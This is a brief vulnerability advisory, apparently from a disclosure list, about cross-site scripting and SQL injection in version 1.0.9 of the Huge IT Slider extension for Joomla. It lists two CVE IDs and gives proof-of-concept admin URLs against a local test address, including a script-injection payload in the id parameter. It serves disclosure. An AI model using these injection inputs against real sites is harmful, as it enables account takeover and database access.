XSS and SQLi in Huge IT Joomla Slider v1.0.9 extension

#916 · 2016-07-22

CVE ID(s): CVE-2016-1000121, CVE-2016-1000122

Notified: 2016-07-22

Description:

Huge-IT Slider extension is one of the powerful products that our company offer. It gives style and charm to your site and help to attract the attention of visitors to certain parts of the content.

Exploit:

XSS:

http://192.168.0.125/administrator/index.php?option=com_slider&view=slider&id=1%20--%20%22%3E%3Cscript%3Ealert(1);%3C/script%3E

SQLi:

http://192.168.0.125/administrator/index.php?option=com_slider&view=slider&id=HERE

Download: http://extensions.joomla.org/extensions/extension/photos-a-images/slider